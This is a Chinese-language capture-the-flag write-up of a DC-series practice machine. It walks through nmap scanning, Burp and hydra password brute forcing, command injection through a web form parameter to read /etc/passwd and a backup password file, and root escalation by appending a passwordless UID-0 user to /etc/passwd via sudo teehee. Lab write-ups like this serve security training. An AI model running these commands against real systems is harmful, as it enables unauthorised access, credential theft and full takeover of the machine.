- 和DC2重复的部分就不记录的那么详细了,DC2里面有详细解释
前置知识
-
记录一下passwd文件的相关知识,下面会读这个文件来读用户和写这个文件来提权
-
Linux 系统中的 /etc/passwd 文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。这样就方便了我们在低权限状态去查其他用户的信息
-
其内容示例如下
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
nginx:x:107:111:nginx user,,,:/nonexistent:/bin/false
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
Debian-exim:x:108:112::/var/spool/exim4:/bin/false
-
文件中每一行代表着一个用户。打开文件可以看到有很多行,怎么会有这么多用户呢?这些用户中的绝大多数是系统或服务正常运行所必需的软件注册成的用户,这种用户通常称为系统用户或伪用户。系统用户无法用来登录系统,但也不能删除,因为一旦删除,依赖这些用户运行的服务或程序就不能正常执行,会导致系统问题。
-
怎么分别呢,感觉只能一个一个搜了,因为系统用户一般是以这个服务为名字,那么网上一搜就能搜出来这个服务
-
来关注其中的一行用户,文件中每一行的格式如下所示,共有 7 个字段,用 “:” 进行分隔,分别对应如下
用户名:密码:uid:gid:用户信息:家目录:shell终端
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
- 用户名不多解释
- 密码一般显示为x,这表示密码存储在加密文件/etc/shadow中,如果为空的话就不需要密码了,所以我们可以写一个用户,并且密码留空,就可以直接登录用户
- uid是系统为每个用户都分配的一个唯一的用户 ID (UID) 。 UID 0 为 root 用户保留,UID 1-99 为其他预定义帐户保留。 系统将为管理和系统帐户/组保留从 100 到 999 的其他 UID。所以我们写用户的时候把uid设置为0,这个用户就成了root用户
- gid全称“Group ID”,简称“组ID”,表示用户初始组的组 ID 号。初始组,指用户登陆时就拥有这个用户组的相关权限。
附加组,指用户可以加入多个其他的用户组,并拥有这些组的权限。简单点说就是,用户 A 属于初始组 A,现在又加入了组 B,A 就同时属于两个组,组 A 就是初始组,组 B 就是附加组。而/etc/passwd 文件中的组 ID 是初始组ID。没啥用感觉. - 用户信息用来解释这个用户的意义,没什么重要用途,一般留空
- 家目录记录了用户的家目录(不是根目录)
- shell终端决定了用户的默认终端是什么,我还没有试过如果改了终端这个文件会不会被自动更改,但是也没人会想把它改成rbash吧🤣
渗透记录
- 上来先和dc2一样扫一下ip,这俩都行,得到ip是192.168.122.132
nmap 192.168.122.0/24
arp-scan -l
- 然后详细探测一下服务
nmap -A -p- 192.168.122.132
- 也可以使用-sS参数,它表示使用使用 SYN 扫描(半开放扫描)。这种扫描方式发送 SYN 数据包到目标主机并监听返回的数据包,以确定响应状态。
- SYN 扫描相较于一般扫描的好处有以下几点:
- 隐蔽性:SYN 扫描是一种半开放扫描,它只发送 SYN 数据包而不完成 TCP 握手过程。这意味着目标主机的日志可能不会记录到完整的连接,因此相较于全连接扫描等其他扫描方式,它更难被探测或防御。
- 快速:由于 SYN 扫描不需要建立完整的连接,它通常会以更快的速度进行扫描。它只需发送 SYN 数据包并等待响应,如果收到了目标主机的 SYN/ACK 响应,则表示端口是开放的,而如果收到了 RST 响应,则表示端口是关闭的。
- 网络资源消耗低:相较于全连接扫描,SYN 扫描对目标主机和本地主机的资源消耗较低。因为它只发送少量的数据包,并在收到响应后立即关闭连接。
- 有效确定端口状态:通过监听目标主机返回的数据包,SYN 扫描可以确定目标主机上每个扫描的端口的状态。如果收到 SYN/ACK 响应,则表示端口是开放的;如果收到 RST 响应,则表示端口是关闭的。
nmap -sS -A 192.168.122.132
- 可以看到,和DC2一样,都是开了80端口的http服务和22端口的ssh服务,并且这次web服务没有3xx跳转了,直接访问一下
- 直接使用burp爆破用户名和密码,我看很多wp都是直接猜用户名是admin,这里就当复习一下怎么同时爆破吧.抓包发送到爆破模块,可以看到post明文传输,设好爆破位置,选择爆破模式为cluster bomb,否则无法单独为两个爆破位置进行设置
- 在set1的位置选择burp自带的username字典,在set2的位置load一个网上下载的一个字典https://wwwg.lanzouk.com/iOR4k13c1ufi
- payload processing不用选择,因为是明文没有编码传输,并且payload type默认即可,如果是用户名和密码被做了字符串操作(比如ctfshow的一道题,用户名和密码被以用户名:密码的字符串进行base64编码传输)才需要单独设置,挺恼火的,已经忘了怎么弄的了,start attack!
- 加上用户名爆破起来还是挺慢的,,就把第一处的字典替换成了admin,将结果以长度排序,爆破出了很多组账号密码,这里使用第一组最长那组
用户名 admin
密码 happy
- 登录进来有个command选项,点进去有仨功能,比如第一个可以列出文件
- 再次执行命令,这次抓包看看,发现列出文件是因为post了个radio参数执行了ls -l,那么这里显然就存在rce了
- 上面的前置知识有提到/etc/passwd文件的作用,这里不再赘述,直接开读,注意url编码一下空格(变为+号)
radio=cat+/etc/passwd&submit=Run
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
nginx:x:107:111:nginx user,,,:/nonexistent:/bin/false
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
Debian-exim:x:108:112::/var/spool/exim4:/bin/false
- 成功找到了三个用户和他们的家目录,并且确定终端都是bash
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
- 查看所有普通用户的用户名,验证了刚才那仨用户
radio=ls+/home/&submit=Run
charles
jim
sam
- 分别读取他们家目录下的文件,在jim的目录下面发现一个backup备份目录
radio=ls+/home/jim&submit=Run
backups
mbox
test.sh
- 再看backup目录,发现一个旧密码备份文件:old-passwords.bak,把它读出来
radio=cat+/home/jim/backups/old-passwords.bak&submit=Run
- 将读出来的密码cv到password.txt里面作为密码字典,将charles,jim,sam仨用户名cv到user.txt里面做成用户字典,将这俩文件丢kali里面
- 在kali中使用hydra来爆破ssh密码,命令与参数如下
hydra -L user.txt -P password.txt ssh://192.168.122.132 -vV -o hydra.ssh
-L : 指定用户名列表
-P :指定密码列表
ssh:指定爆破得IP地址
-vV:设置 hydra 为详细模式,显示更多的输出信息
-o :hydra.ssh:将结果输出到名为hydra.ssh的文件中
- 爆破完了查看一下结果文件hydra.ssh,得到了一组ssh口令
用户名:jim
密码:jibril04
- ssh登录目标机,成功拿到shell了,注意到登录成功后提示有一封邮件
ssh jim@192.168.122.132 -p 22
- 查看一下邮箱,读一下邮件,从邮件中获取到了另一组账户密码
cd /var/mail
ls
cat jim
用户名:charles
密码:^xHhA&hvim0y
- ssh把这一组也登录了,这里做了两个有趣的小实验,可以ssh同时登两个用户,并且ssh登录的时候可以复制粘贴密码
ssh charles@192.168.122.132
- 后面的操作就在charles这个用户下完成了,因为测试了一番,jim用户拿不到root
- 和DC2一样,使用以下命令看一下有没有不需要密码就能使用root权限执行的命令,这样就可以用于提权,在DC2中是git符合条件,这里是teehee命令
sudo -l
- teehee是一个linux编辑器,当它有root权限时,可以使用这个编辑器向上面提到的/etc/passwd文件写一个用户进去,将用户的密码写为空,并且uid写成0,这样就能创建一个没有密码的root用户了(光/etc/passwd标注的密码为空还不行1,还得满足/etc/shadow文件中没有相关的密码条目才行)
sudo teehee -a /etc/passwd
miao::0:0:::/bin/bash
- 这里使用这个编辑器,编辑完之后直接ctrl+c打断即可退出并保存,懒得保存也可以
echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
- 然后su miao切换到刚刚写入的root用户miao即可拿到root